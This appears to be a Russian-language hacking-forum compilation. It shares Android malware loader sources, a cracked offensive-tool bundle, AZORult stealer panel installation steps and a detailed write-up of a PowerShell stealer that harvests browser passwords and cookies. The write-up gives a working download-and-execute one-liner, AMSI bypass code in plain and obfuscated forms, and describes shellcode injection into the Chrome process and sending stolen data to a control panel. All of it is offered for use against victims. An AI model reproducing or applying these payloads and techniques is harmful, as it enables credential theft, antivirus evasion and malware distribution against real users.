Проведя тест сканов с ИИ боле 10 раз, грубо говоря, потратил только цент из доступных. Всегда в случае невалида ключа можно зарегистрировать новый аккаунт.

Открыт к вашему фидбеку по коду, новых идей и доработок. Буду скидывать новые версии с кодом тут с описанием измененного. Проект и документация полностью на английском для доступности к широкой аудитории. Если будут те, кто захотят версию на русском, проганю все и скину вам. Также хочу выпустить статью о коде, как и почему. Норм идея? Что думаете об этом? Всем добра!

Android Loader (сорцы)

Архив включает в себя 3 версии лоадера:

• 2 с запросом. Принцип работы с запросом: указывается урл от куда подгружается apk
• и 1 без запроса. Принцип работы без запроса: файл шифрованный в билде белого приложения, автоматически распаковывается и запускается.

Пример работы: sendspace.com/file/ty9iq6

Продавалось за 1k$

Скачать:

You must have at least 33 message(s) to view the content.

В архиве видео от автора, 3 лоадера (исходники) и 1 белое приложения, что на видео. А также видео по использованию.

автор: hits , взял с экспа

Windows 10 Pro 0Day Priv8 OS x64 English August 2020

You must have at least 5 message(s) to view the content.

Unsure about malware/virus
Use it your own risk,Use vm for safety
Found on the raid,Thanks to the user @Amank on the raid

Spoiler

0Day Windwos 2020

############################

VIP Tools

############################
Acunetix
Hotspot Shield
AppSpider 7
L0phtCrack 7 (Win64)
Asoftis IP Changer
Metasploit Console
Maltego xl
Avira Phantom VPN
Metasploit Web UI.url
Betternet
Micro Focus Fortify Audit Workbench
BlackBullet 2.1.6
Micro Focus Fortify Custom Rules Editor
BlackBullet 2.5.1
Micro Focus Fortify Scan Wizard
BurpSuite
Micro Focus Fortify-rule-dencrypt
CCProxy
Nessus Pro
Charles proxy
Netsparker
Checkmarx Audit
Nipper Studio
Checkmarx Portal.url
OpenBullet
ChrisPC Anonymous Proxy Pro
Proxifier
Core Impact 19.1
ProxyCap
Elcomsoft Wireless Security Auditor
ReadyAPI
ExploitPack 14.0
WebCruiserWVS
Freedome
WebInspect 20.1.0
Gather proxy
binaryninja
HCL AppScan Standard
cobaltstrike4.0
############################

Antivirus Evasion Tools

############################
AVIATOR_x64
PSAttack
AVIator- Antivirus Evasion Project
PowerLessShell
CheckPlease
PowerShdll
DefenderCheck
PowerShell Armory-Evading anti-virus
DotNetToJScript
StarFighters
Invoke-CradleCrafter
SysWhispers-AV-EDR evasion
Invoke-DOSfuscation
demiguise
Invoke-Obfuscation
nps
Invoke-Phant0m
pafishmacro
Macro Pack-Automatize Obfuscation & Generation of MS Office
tvasion - Anti virus evasion
PSAmsi
xencrypt-Anti-virus evasion Tool
############################

Exploitation Tools

############################
ADAPE
PrivExchange
Access Metasploit Web UI.urlPrivescCheck Win -Privilege Escalation Enumeration
BSQLGUI
Privilege-Escalation-Awesome-Scripts-Suite
BetterBackdoor-create & Control a backdoor
ROADtools - Azure AD Exploration Framework
CVE-2019-1040-Scanner
ROADtools-GUI - Azure AD Exploration Framework
Chisel - Fast TCP tunnel over HTTP
RedTeam CSharp Scripts
Core Impact
RedTeam Powershell Scripts
CrackMapExecWin
Red_Team - Useful Scripts
CredsLeaker-credentials stealer
ReverseTCPShell- PowerShell ReverseTCP Shell
DAMP
RottenPotatoNG
DSSS-sql-injection
SQLmap
Dumpert
Sharp-Suite
Evil-Winrm-Ultimate WinRM shell for pentesting
SharpClipHistory
EvilClippy
SharpExchangePriv
EvilURL- Generate unicode domains
SharpExec
Eviloffice
SharpSploit
Exchange-AD-Privesc
Shellerator-bind-reverse shell Generater
ExploitMyUnion
Shuriken-XSS
ExploitPack 14.0
SpoolSample
GadgetToJScript
UACME
Generate-Macro
VBscan
GhostPackWebCruiserWVS
Goby - Attack surface mapping
WinScanX GUI
Invoke-ACLPwn
Windows Exploit Suggester
Invoke-DCOM
XSS-Loader Tools
Invoke-GoFetch
XSSpwn
Invoke-PSImage
XSSsniper
Invoke-PowerThIEf
XSStrike
Jalesc-Linux Privileges Escalating
hjsplit
Metasploitimpacket-examples-windows
Metasploit Console
jsql-injection-GUI
Meterpeter-C2 Powershell Command & Control Framework
juicy-potato
MicroBurst - PowerShell Toolkit for Attacking Azure
kali-windows-binaries
Nessus Pro.urllsassy-Extract credentials from lsass remotely
NetshHelperBeacon
luckystrike
Nikto
metatwin
NoSQLMap
mimikatz
Orca
nc
PSReflect
nc64
Pivotsuite - Network Pivoting Toolkit
nishang
PowerLurk
pattern_create
PowerPriv
pattern_offset
PowerSharpPack-Usefull offensive CSharp Projects
ruler
PowerShell-Suite
subdomain-bruteforcer (SubBrute)
PowerSploit
vssown
PowerUpSQL
vulcan
PowerZure- Assessing Azure security
wePWNise
############################

Information Gathering

############################
ADACLScanner
ADExplorer
ADOffline
ADRecon
AWSBucketDump
Active Directory Tools
AdFind-Command line Active Directory query
Administrative Tools
Amass
Aquatone - Tool for Domain Flyovers
Aquatone
Asset Finder
Atscan - Advanced dork Search
Atscan
BaseQuery- Organize public combo-lists & data breaches
BeRoot
Bettercap
Bloodhound
Bloodhound-Custom-Queries
BridgeKeeper-Scrape employee names
Bucket-Stream-Find Amazon S3 Bucket
Cansina - Web Content Discovery
Censys Subdomain Finder
Cheat Sheets Repositories
CloudBunny-Find the real IP behind WAF
Cloud_Enum-Multi-cloud OSINT
Cloudfail
Cloudflare Resolver-bust
Cloudmare
CrossLinked- LinkedIn enumeration tool
DNS Recon
DirBuster
Dirble- WebSite Directory Scanning
Dirsearch- Web path scanner
Droopescan
Dump Users
Email extractor
Email-verify
EmailHarvester
Eyewitness
FOCA
Fierce - DNS reconnaissance Tool
Fierce
FinalRecon- All-In-One Web Reconnaissance
Findomain
Fprobe-Scan Domains Subdomains for http-https
Get-ReconInfo
Git-hound
Git-Leak
GitHack-Git folder disclosure exploit
GitMiner-Advanced mining for content Github
Github-dork
Gitrob
Gobuster
Goby - Attack surface mapping
Gowitness-Web screenshot Utility
Hunter
InSpy - LinkedIn enumeration
IoTSeeker
Kicks3-S3 bucket finder
Lazagne- Credentials recovery
Leetlinked - Scraping tool for LinkedIn
LinkedIn Recon Tool -LinkedInt
LittleBrother-Information gathering (OSINT)
MSOLSpray - A Password Spraying Tool
Maltego
Mass-Maillist-Cleaner
Masscan
NetRipper
Nirsoft Launcher
Nmap - Zenmap GUI
OSINT Websites.url
OneForAll - Subdomain Scanner
Pacu - AWS exploitation framework
Pathbrute-Directory Discovery Tool
Photon-fast crawler designed for OSINT
PowerView
PowerView_dev
Privesc
Prowl - Email harvesting tool
R3con1z3r-Web information gathering
RastLeak - Find leak information
Recon-Dog
Recon-ng
Reconspider-Advanced (OSINT)
Recurse Buster
Red rabbit
RedRabbit-Red Team PowerShell Script
S3Scanner- Scan s3 buckets for security issues
SSL-Scan
ScrapedIn- LinkedIn Scraper
Searchsploit
SharpHound
SharpHound.ps1
SharpView
Sherlock-Find usernames across social networks
ShodanSploit
Shuffledns- Enumerate valid subdomains
Slurp- Enumerates S3 buckets
Snoop - Nickname Search Tools OSINT
Spaghetti
SpiderFoot
SpoolerScanner
Sub finder
SubOver-Subdomain Takeover Tool
Sublist3r
Sudomy-Powerful Subdomain Enumeration
Turbolist3r
URLCrazy
Watson
WhatBreach-OSINT tool to find breached
WhatWAF
WhatWeb
WhatsMyName- User Enumeration
WinScanX GUI
WinScanX-CL
Windows Exploit Suggester
XCTR-Hacking-Tools
browseList
ffuf - Fuzz Faster
gau (GetAllURLs)
git graber
gowitness
h8mail- Email OSINT and breach hunting
hakrevdns - Reverse DNS lookups
hping
httprecon
httprobe - Scan Domains Subdomains for http-https
identYwaf
inSp3ctor-AWS S3 Bucket Finder
mimikatz
nbtscan
nc
nc64
netscan
nmap
pockint
recon-ng - Web
s3recon-Amazon S3 bucket finder and crawler
shhgit-Find GitHub secrets
sqlcmd
srvinfo
sslyze
subDomainsBrute
subdomain-bruteforce
subjack-Subdomain Takeover tool
theHarvester
trufflehog- Searches through git repositories for secrets
wafw00f
wePWNise
winfo
zenmap
############################

Mobile Security Tools

############################
APK Easy Tool
Frida-kill
appmon
APK Editor Studio
Frida-ls-devices
dex2jar
Android Debug Bridge (adb)
Frida-ps
dex2smali
Apkid
Frida-trace
frida-objection
Apktool
Frida
frida-pygmentize
BurpSuite
GDA-android-reversing-Tool
jadx-gui
Bytecode-Viewer
Mobile Security Framework (MobSF)
luyten
DB Browser for SQLite
Multi-Drive
vulnerable apk
Drozer
Nox
Frida-discover
OWASP ZAP Proxy
############################

Networking Attack

############################
Bettercap
Jumpstart
RouterScan
ettercapNG
BeyondTrustDiscoveryTool
MultiRelay
RunFinger-Python
nc
Cain
Nessus Pro.url
SSH Scan
nc64
Dumpper
NetworkMiner
SSL-Strip
netscan
Evil FOCA
Nirsoft Launcher
SnmpWalk
snmptest
FindSQLSrv-Python
Nsauditor
Waircut
sslyze
Goby - Attack surface mapping
Responder-Python
WinScanX GUI
Icmp-Redirect-Python
Responder
Wireshark
############################

Password Attacks

############################
ADFSpray - MS Password Spray Attack
KeeThief
ASREPRoast
Kraken-Password crack RAR ZIP 7z
BlackBullet 2.1.6
L0phtCrack 7 (Win64)
BlackBullet 2.5.1
LAPSToolkit
BruteXMLRPC
MSOLSpray - A Password Spraying Tool
Bruter
MailSniper
Cain
Md5Cracker
CeWL-Creating Custom Wordlists
OpenBullet
Check-LocalAdminHash
Password recovery
CredNinja
Patator - Brute-force
Crunch
RiskySPN
DSInternals
SessionGopher
DomainPasswordSpray
Smtp-cracker
Fast-RDP-Bruteforce
WinScanX GUI
Get-LAPSPasswords
WinScanX-CL
Go-jwt-cracker
XBruteForcer (CMS)
Hash-Buster- Online Crack hashes
XMLrpc-bruteforcer
Hash-identifier
cap2hccap
Hashcat CLI
cap2hccapx
Hashcat GUI
jwtcat - Cracking JSON Web Token
IMAP Bruteforce
mimikatz.x64
Internal-Monologue
mimikatz.x86
Inveigh
mimikittenz
Invoke-TheHash
pydictor-dictionary builder for brute-force
John the ripper
rainbowcrack-cl
John the Ripper GUI
rcrack-gui
KeeFarce
thc-hydra-BruteForce
############################

Reverse Engineering

############################
APK Easy Tool
Extractor
Unpacker
ollydbg
Apktool
IDA Pro 32
binaryninja
dnSpy-x86
windbgx64
Binwalk
IDA Pro 64
de4dot-net35-x64
dnSpy
windbgx86
Bytecode-Viewer
ResourceHacker
de4dot-net35
jadx-gui
x32dbg
Trial-Reset
de4dot-net45-x64
luyten
x64dbg
- Dotnet
AntiTampRem
DotNET Tracer x64
ExtremeDumper x64
StringDecryptor
AntiTamperKiller
DotNET Tracer x86
Kripto v1.0 Deobfuscator
Universal_Fixer
ConfuserEx AntiDump Fixer
ExtremeDumper x32
MegaDumper
Universal_Fixer_NoFuser3
- Extractor
InnoExtractor
InstallShield mini Extractor
LFS Setup Extractor
UniExtract
lessmsi-gui
- Unpacker
Armageddon
EnigmaVBUnpacker
RL! DePeCompact 2.x
UntElock 0.98+
Aspack
Exe2Aut v0.11
UPXEasyGUI
upx_unpacker
De4dot
MART! K UnPacker
Unpacker_PECompact
############################

Web Application Attack

############################
Acunetix
Recurse Buster
AppSpider 7
SPartan-Sharepoint fingerprinting and attack Tool
Aquatone
SQLMap-GUI
Arjun
SQLi-Hunter-SQLMAP API wrapper
Atlas-Quick SQLMap Tamper Suggester
SQLmap
Atscan
SSL-Scan
BSQLGUI
SSRFmap-SSRF Scanner
BruteXMLRPC
Scrawlr
BruteXSS
See-SURF- find potential SSRF parameters
BurpSuite
Shuriken-XSS
CMSeeK- CMS Detection and Exploitation suite
SleuthQL
Cansina - Web Content Discovery
Spaghetti
Commix
TestSSL.sh
Corsy-CORS Misconfiguration Scanner
VBscan
DSSS-sql-injection
WAScan
Dalfox - XSS Scanning
WPScan-WordPress Vulnerability Scanner
DirBuster
Wapiti-Web Vulnerability Scanner
Dirble- WebSite Directory Scanning
WebCruiserWVS
Dirsearch- Web path scanner
WebInspect 20.1.0
Droopescan
Weblogic-Scanner
ExploitMyUnion
WhatWAF
Eyewitness
WhatWeb
Findom-XSS
Wordpress Exploit Framework
FireFox-Pentesting
XBruteForcer (CMS)
Fuxploider-File upload scanner and exploitation
XMLrpc-bruteforcer
Golismero
XSS-Freak
Gowitness-Web screenshot utility
XSS-Loader Tools
HCL AppScan Standard
XSSfork - XSS Vulnerability Scan
Havij
XSSpwn
IIS-ShortName-Scanner
XSSsniper
IIS-Shortname-Scan (Python)
XSStrike
Joomscan
XSpear-XSS Scanning
Link JS Find - Extract URL Websites
dotdotpwn - Directory Traversal Fuzzer
LinkFinder
ffuf - Fuzz Faster
Netsparker
httprecon
Nikto
identYwaf
NoSQLMap
jsql-injection-GUI
Nuclei - Web Scanner based on templates
jwtcat - Cracking JSON Web Token
OWASP ZAP Proxy
pentest-tools
Quick-SQL
sslyze
R3con1z3r-Web information gathering
wafw00f
ReadyAPI 2.8.2
wfuzz
############################

Vulnerability Analysis

############################
AD Control Paths
SSL-Scan
BSQLGUI
Searchsploit
DSSS-sql-injection
Shuriken-XSS
Droopescan
SleuthQL
Egress-Assess
Spaghetti
ExploitMyUnion
TestSSL.sh
Golismero
VBscan
Grouper2
WAScan
Joomscan
WebCruiserWVS
Nessus Pro
Weblogic-Scanner
Nikto
WinScanX GUI
NoSQLMap
WinScanX-CL
NtdsAudit
XSS-Freak
OWASP Mutillidae- Vulnerable web-application
XSS-Loader Tools
OWASP ZAP Proxy
XSSpwn
PowerSharpPack-Usefull offensive CSharp Projects
XSSsniper
PwnedPasswordsNTLM
XSStrike
SMBGhost-CVE-2020-0796
XSpear-XSS Scanning
SQLMap-GUI
bWAPP- vulnerable web-application
SQLmap
jsql-injection-GUI
SSH Scan
zBang
############################

Malware Analysis

############################
Autoruns
KillSwitch
Task Explorer x64
dnSpy
Binwalk
LockHunter
Task Explorer
exeinfope
Comodo Cleaning Essentials
Microsoft Sysinternals
UPXEasyGUI
exiftool
CrowdInspect
PE Detective
UniExtract
loki-upgrader
CrowdInspect64
PPEE
VirusTotal Uploader 2.2
loki
Detect it easy
Process Hacker 2
Volatility-CL
ollydbg
FLOSS
ProcessActivityView
VolatilityWorkbench-gui
pdbripper
FolderChangesView
ProcessHacker
Winja (VirusTotal Uploader)
pestudio
HijackCleaner64
Regshot-x64-ANSI
Wireshark
peview
ILProtectorUnpacker
Regshot-x64-Unicode
apateDNS
windump
IREC-1.9.16
RunPEDetector32
dnSpy-x86
############################

Wordlists

############################
Payload-List
PayloadsAllTheThings
Probable-Wordlists
RobotsDisallowed
SecLists
fuzzdb
############################

Proxy and Privacy Tools

############################
Asoftis IP Changer
Freedome
Proxifier
Tor Browser
Avira Phantom VPN
Gather proxy
Proxy-Scraper
W10Privacy
Betternet
Hotspot Shield
ProxyCap
WPD
ChrisPC Anonymous Proxy Pro
OOSU10
Simple DnsCrypt
YogaDNS
############################

Utility Tools

############################
Active Presenter - Screen Recoreder
HTTP File Server (HFS)
ShareX
AnyDesk
HeidiSQL
Simple DnsCrypt
Bandizip
HostsFileEditor
Start Tor Browser
Boxstarter Shell
HxD
Task Explorer x64
CCleaner
IObit Uninstaller
Task Explorer
CFF Explorer
KeePass 2
ThemeTool
Charles proxy
KeepNote
Tor Browser
Chrome -with XSS Auditor disabled
KeepPass
Wireshark
Chrome
MarkdownEdit
YogaDNS
CyberChef
Microsoft Edge
hjsplit
DB Browser for SQLite
Neo4j_start.bat
neo4j-community
Docker Desktop
Neo4j_stop.bat
ngrok- reverse proxy
Driver Booster 7
NetworkMiner
notepad ++
Email extractor
Nirsoft Launcher
peview
FLOSS
OpenVPN GUI
services
Fiddler
PE Detective
shellcode_launcher
FireFox-Pentesting
ProcessHacker
vlc
Firefox
RunAsDate
uTorrent
Google chrome
ScreenToGif
Greenshot
Search Everything
Essential NetTools
NetLimiter 4
############################

Wireless Attacks

############################
Airbase-ng
Airventriloquist-ng
Kstats
WifiInfoView.exe
Aircrack-ng-GUI
Besside-ng
Makeivs-ng
WirelessNetView.exe
Aircrack-ng
Bettercap
Packetforge-ng
Wireshark
Airdecap-ng
Buddy-ng
RouterScan
Wpaclean
Airdecloak-ng
Cain
SSL-Strip
ettercapNG
Aireplay-ng
Dumpper
Tkiptun-ng
ivstools
Airodump-ng
Easside-ng
WNetWatcher.exe
wifi-perfiles
Airolib-ng
Elcomsoft Wireless Security Auditor
Waircut
Airserv-ng
Evil FOCA
Wesside-ng
Airtun-ng
Jumpstart
WifiChannelMonitor
############################

Stress Testing

############################
DDos-Attack (Python)
Slowloris HTTP DoS IPv6
DDos-Attackv1 (Python)
Slowloris HTTP DoS
HostDown- DDos Attack
THC-SSL-Dos
Impulse Denial-of-service ToolKit
TheDoomsday- Test DOS sustainablity
Perl Flood Script (DDoS)
WhatWAF
Priv8-ddos
identYwaf
Saddam-DDoS Amplification Tool
wafw00f [/ SPOILER]

AZORult 3.2 Crack Install Manual

CrydBrox прекратил поддержку софта, поэтому уже можно выкидывать без зазрения совести )

Установка:
1. Регистрируем домен и хостинг.
2. Заливаем архив с панелькой на хостинг.
3. Распаковываем архив.
4. Заходим в панельку, меняем атрибуты на 777 к папкам и файлам: files, config и links ( Рекурсивно! )
5. Меняем имя папки Panel на свое.
6. Заходим в Базу Данных и содаем новую базу.
7. Импортируем файл sql в нашу созданную базу, файл лежит в panel/info/dump.sql
8. Правим index.php в корне сайта на наши данные.
Прописываем путь панели
Вводим имя пользователя и имя базы, а так же пароль к базе.
Пишем свой пароль к панельке.
9. Проверяем панельку на работоспособность.
10. Запускаем билдер:
Прописываем путь к нашему index.php который мы правили. Пример: http://sitevirus.com/index.php (пишем в ручную)
Вирус появиться в папке где находится билдер.
Меняем расширение файла bin на .exe
11. Проверяем отстук.

СКАЧАТЬ:

Hidden content for authorized users.

https://www.sendspace.com/file/u7fknh

(с) автор неизвестен

Всем привет. Представляю вашему вниманию стиллер, написанный на powershell. Все подробности ниже.

Spoiler: Что интересного

-Сбор паролей Firefox based и Chromium based браузеров
-Сам стиллер почти полностью написан на powershell. Исключение - это DLL, которая будет инжектится в процесс хрома для анлока куки файлов. О самом анлоке в следующем пункте. Также есть небольшая вставка C# кода для импорта rstrtmgr.dll, но тут меня можно простить, тк pwsh это делать просто не умеет)
-Разлок куки файлов при запущенном Хроме/Эдже и тд. Процесс браузера при этом не убивается, все происходит без лишнего палева.
-DLL to shellcode конвертер. В паблике реализацию этого на powershell не видел. Болтается одна на гитхабе, но там это код C# завернутый в pwsh. Здесь же все написано на самом pwsh. Использовать этот функционал будем для вышеупомянутого анлока куки файлов. Берется DLL и аргументы к ней, все конвертится в шеллкод и инжектится в процесс браузера. Техника самого инжекта не моя, но конкретно на ее авторство я и не претендую.
-Сервер-сайд расшифровка паролей и куков, за исключением старых версий хрома, там пароли расшифровываются с помощью DPAPI, а это делать лучше на самом пк. В остальном все сервер-сайд, дабы зря не триггерить аверы. Расшифровка хрома выполняется с помощью python библиотек. Расшифровка фф с помощью NSS библиотек, благо их можно установить на nix сервера одной командой.
-Sqlite ридер на powershell для чтения куков и логиндаты chromium based браузеров.
-Добавлены некоторые фишки по обходу AMSI. Они немного костыльные, но рабочие. Почему костыльные? Да потому что, чтобы спасаться от детектов без костылей, то нужно ультимативное решение - полиморфный обфускатор. Его нет по нескольким причинам: писать его несколько месяцев, если не год, а если заказывать, то обойдется он в охулион, поэтому имеем, что имеем) Да и вообще, это уже было бы отдельным проектом, как бы) Но повторюсь, текущей функциональности для решения наших задач вполне хватает.
-Панель написана на python, фреймворк Flask, в качестве WSGI сервера используется gunicorn.

Spoiler: Почему powershell

Понимаю, тема холиварная, на форуме написана куча постов как и в защиту пвш, так и против него . Но я отношу себя к тем, кто считает, что несмотря на некоторые минусы, powershell почти идеален в плане относительной лекгости ухода от детектов. Запустил процесс powershell, обошел AMSI и делай почти что хочешь, и никакой крипт не нужен. И это все при поддержке .NET. Конечно, соглашусь, что для каждого продукта надо смотреть отдельно, но для стиллера пвш подойдет просто отлично.

Spoiler: Описание работы

Если даже не разбираетесь в кодинге, то все равно рекомендую прочитать данный раздел, для лучшего понимания, что и как работает, это никогда не повредит.
Начнем с базы) Powershell это скриптовый язык и формат ps1 не является исполняемым. Поэтому классикой в pwsh малвари является ее запуск с помощью cmd команд, эти cmd команды будут уже вшиваться в другие исполняемые форматы (exe, vbs, js и что там еще есть). Да, вроде как есть другие способы запуска, но в подавляющем большинстве случаев происходит все именно так. Если же льете инсталлы с лоадера, то проливщику также нужно будет дать эту cmd (или pwsh, зависит от лоадера) команду. Но в этом подходе есть одна проблема: в cmd команду не удастся впихнуть код всего стиллера, тк есть ограничение по количеству символов, их должно быть не более 8191. Поэтому используются так называемые oneliner'ы, one и line, однострочники типа) Как правило в ванлайнере все сводится к скачиванию тела малвари и его исполнению. Админка будет выдавать вам поморфленные ванлайнеры, но в чистом виде в нашем случае они будут выглядеть следующим образом:
cmd:
powershell -ep bypass "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://127.0.0.1:5000/st/')"
pwsh:
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://127.0.0.1:5000/st/')
Здесь как раз происходит то, что я описал выше. Вебклиент скачивает стиллер и запускает его с помощью функции Invoke-Expression это что-то типа eval'а в python или js.

Теперь пройдемся по стиллеру. Сорцы расписывать не буду, тк можете их посмотреть самостоятельно, объясню тезисно логику исполнения.
1. Функцией Get-PCInformation собирается информация о железе, юзернейм, таймзона и тд, здесь ничего особого, типичная функциональность для любого стиллера.
2. Запускается функция Get-Browsers ,
2.1. Здесь сначала рекурсивно в папке %LOCALAPPDATA% ищутся профили chromium based браузеров, для каждого профиля в цикле for запускается сбор данных.
2.1.1. На этом этапе все начинается с получения ключа для декрипта паролей и куков. Сам мастеркей лежит в зашифрованном виде в файле C:/путь/до/папки/браузера/Local State, расшифровываем его с помощью DPAPI.
2.2.2. Читаем файл с логиндатой (C:/путь/до/профиля/Login Data). Если браузер запущен, то файл лочится для чтения, но здесь помогает простое копирование, так что копируем и читаем уже копию. Парсим БД Sqlite ридером (функция Dump-DB), смотрим значения зашифрованных паролей. Если пароль начинается с байтов @(118,49,48), то пошифрован он был относительно новой версией хрома и расшифровать его можно будет на стороне сервера, используя полученный ранее мастеркей. В этом случае просто записываем все значения в массив. В ином случае пароль расшифровывается так же с помощью DPAPI и кладется в результат уже в открытом виде.
2.2.3. Читаем файл куки (C:/путь/до/профиля/Network/Cookies или C:/путь/до/профиля/Cookies). Все, включая парсинг и расшифровку, делается по аналогии с логиндатой. Единственное, но важное исключение состоит в том, что с недавних времен chromium based браузеры лочат куки файл и его не удается даже скопировать. Происходит это потому, что браузер открывает куки файл с аргументом FILE_SHARE_NONE. Анлок без админ прав можно выполнить только из процесса, который открывал файл, то есть, из процесса браузера. Можно, конечно, убить процесс, но поступим аккуратнее, попробуем разлочить файл. Для этого вызывается функция Unlock-File, в ней нужно найти PID процесса (функция Get-FileLockProcess) и заинжектить заранее подготовленный шеллкод. Чекаем разрядность процесса, и качаем с панели нужную DLL, вызываем функцию ConvertTo-Shellcode , она сунет в длл путь к файлу куки и вернет шеллкод. Его в функции Invoke-Shellcode заинжектим в процесс хрома. Ждем 10 секунд, пока шеллкод прошуршит и пробуем прочитать файл. Вуаля, все готово)
2.2.4. Возвращаем всю полученную информацию и кидаем в массив. Все это производим с каждым профилем.
2.2. Далее ищем все профили Firefox based браузеров и так же каждый профиль прокручиваем в цикле.
2.2.1. Тут абсолютно вся расшифровка происходит на стороне сервера NSS библиотеками. Им нужно подать на вход папку с данными, поэтому с парсингом файлов здесь голову себе не морочим, а просто читаем в профиле файлы key4.db, cert9.db, logins.json, cookies.sqlite. Этого будет достаточно. Файлы файрфоксом лочатся, но как и в случае с файлом логиндаты хрома, помогает простое копирование.
3. Перегоняем полученные данные в JSON формат. Да, это пара сотен строк кода, но зато на стороне сервера python'ом это прекрасно парсится и складывается в БД.
4. Шифруем данные обычным AES'ом. Можно и без этого, но лишним не будет. Соединение же не защищено, да и может какой-то авер будет сниффать трафик.
5. Отправляем на сервер. Сервер все получает, парсит, расшифровывает, что надо, не расшифровывает, что не надо, и складывает в бд.

Spoiler: Немного об уходе от детектов и обходе AMSI

Об этом немало написано и тут на форуме и вообще в интернетах, принципиально нового я здесь ничего не скажу, но все же для тех, кто только входит в эту тему, пройдемся по основным моментам. Те, кто об этом всем знает, можете пропустить этот раздел, просто скажу, что панель обходит амси стандартными техниками)
И повторюсь, в начале я уже писал, что такие обходы это не универсальное решение, но в нашей ситуации рабочее. Если хотите универсальное, то нужен хороший обфускатор. Те, что с гитхаба, не работают. Поэтому обходимся минимальными средствами)

Итак, что же такое AMSI. Это аббревиатура от Antimalware Scan Interface. В этот интерфейс пвш и другие скриптовые языки шлют все скрипты и команды, подающиеся им. Его же слушает и авер, и если он видит в скрипте/команде что-то подозрительное, то пвш не может это исполнить. По задумке MS это должно сильно помогать ловить вредоносный код на скриптовых языках, но в случае с powershell это лекго обходится.

Базово обход выглядит так:

Code:Copy to clipboard

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)

Есть еще один, но в нем больше кода, так что, остановимся на этом) Здесь с помощью рефлексии .NET мы берем класс System.Management.Automation.AmsiUtils и переписываем в нем свойство amsiInitFailed , устанавливая значение true. Как понятно из названия, в этом свойстве отображается состояние сессии амси, зафейлилась ли она при инициализации или нет. Также в этом классе есть метод ScanContent , отсылающий содержимое скрипта на сканирование аверу. Но если он видит, что amsiInitFailed установлен в true, то ничего никуда не отсылается. Тупо? Ну да, но это же майкрософт, так что нечему удивляться.

Пробуем исполнить вышеуказанный код, но он не запускается, ловим ошибку со следующим содержимым:

Все дело в том, что в самом обходе амси содержатся сигнатуры, которые и ловит авер. Выполняем скрипт по частям, видим, что эти сигнатуры это 'System.Management.Automation.AmsiUtils', 'amsiInitFailed' и 'SetValue', их нам и нужно будет сбить**,** немного поморфив, здесь работают даже самые примитивные техники обфускации строк. Вот пример конструкции, которую можно получить, разбавив сигнатуры рандомными спецсимволами, и вызвав при исполнении replace()

Code:Copy to clipboard

[ref].Assembly.GetType('S*y!s*t*e*m!.!M!a$n!a*g!e*m*e!n!t$.$A*u*t!o!m*a*t$i*o*n!.!A!m*s*i!U*t$i*l!s*'.replace('$','').replace('!','').replace('*','')).GetField('a!m=s-i-I=n=i-t-F=a-i!l!e-d='.replace('!','').replace('=','').replace('-',''), 'NonPublic,Static').('S)e%t%V)a}l%u%e}'.replace('}','').replace(')','').replace('%',''))($null, $true)

Исполняем

Все ок, ошибок нет, амси отключен.
Реплейсы здесь показаны как пример, на самом деле, можно придумать кучу всего. Например, перегнать все в char array, а при исполнении сделать обратно строкой. Или воспользоваться сплитами и так далее. Тут набор техник почти неограничен.
Теперь, обойдя амси, с помощью того же Invoke-Expression можно запустить, по сути, любой код.

Пока выходим из этой сессии пвш и открываем новую, амси пока не отключаем. Для наглядности возьмем мини скрипт, в котором заведомо есть сигнатура. Пусть это будет

Code:Copy to clipboard

Write-Host 'Invoke-Shellcode'

Пробуем запустить, видим, что амси нас сбрил. Прописываем обход амси, пробуем запустить еще раз, на этот раз все ок.

Далее нам нужно собрать в один скрипт и обход амси, и запуск команды с сигнатурой через функцию Invoke-Expression, о которой говорил ранее. Но тут возникает проблема: в скрипте мы же уже тащим с собой сигнатуру, а обход амси нам только предстоит, спалиться можно еще перед запуском. Тут тоже решение предельно простое, ту часть, которую мы будем засовывать в Invoke-Expression мы так же можем поморфить или накрыть энкодингом или каким-то простым шифрованием. К примеру, создадим из этого кода base64 строку, а в самом скрипте пвш перед исполнением получим из нее уже нормальный код. В итоге получившийся скрипт будет выглядеть так:

Code:Copy to clipboard

[ref].Assembly.GetType('S*y!s*t*e*m!.!M!a$n!a*g!e*m*e!n!t$.$A*u*t!o!m*a*t$i*o*n!.!A!m*s*i!U*t$i*l!s*'.replace('$','').replace('!','').replace('*','')).GetField('a!m=s-i-I=n=i-t-F=a-i!l!e-d='.replace('!','').replace('=','').replace('-',''), 'NonPublic,Static').('S)e%t%V)a}l%u%e}'.replace('}','').replace(')','').replace('%',''))($null, $true)
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('V3JpdGUtSG9zdCAnSW52b2tlLVNoZWxsY29kZSc=')))

Опять же, base64 энкодинг здесь приведен просто в качестве примера, вместо него можно засунуть что угодно, главное сбить сигнатуры еще на подходе. А что пойдет в Invoke-Expression уже неважно, тк амси будет отключен.

Примерно так же панель отдает ванлайнеру тело стиллера, оно как раз вшито в эту конструкцию вместо нашего тестового скрипта. Делается все посредством python'а и jinja шаблонов. Увидеть результат вы можете в админке на странице builds или покопавшись в сорцах. Также панель немного морфит сами ванлайнеры в тех местах, на которые потенциально может заагриться авер. Это строки 'System.Net.WebClient', 'DownloadString' и IP адрес панели.

Spoiler: Панель

Страница со списком логов

Подробная информация

Страница с билдами. Здесь нам обычно будут нужны CMD и PWSH oneliner'ы. Нужно просто скопировать их отсюда. При каждом обновлении страницы они будут немного отличаться. Взависимости от способа распространения может пригодиться AMSI Wrapped Stealer, но тут нужно точно знать, что делаете. Plaintext Stealer здесь добавлен исключительно для наглядности, что называется for testing purposes only. НИКОГДА НЕ ИСПОЛЬЗУЙТЕ ЕГО В БОЕВОМ РЕЖИМЕ!

Страница Settings. Тут обязательно указываем IP адрес панели. Без этого стиллер работать не будет. Именно этот IP будет вшиваться в ванлайнеры и тело стиллера. Также есть галочка ON/OFF Stealer. Если состояние OFF, то ванлайнерам тело стиллера отдаваться не будет, вместо этого вернется ошибка 500. Для чего это сделано. Когда вы не ожидаете появления новых логов, можете выключить стиллер, так скрипт не будет торчать наружу, что убережет нас от любопытных инфобез исследователей. Включили стиллер, сделали пролив, выключили стиллер. Панель сама жива, с логами работать можно, но новые не добавятся. Главное, не забыть включить перед следующим проливом) В принципе, можно с этим не морочиться, по дефолту все и так включено, но если выключать, когда не нужно, софт в теории проживет дольше.

Spoiler: Поднятие панели

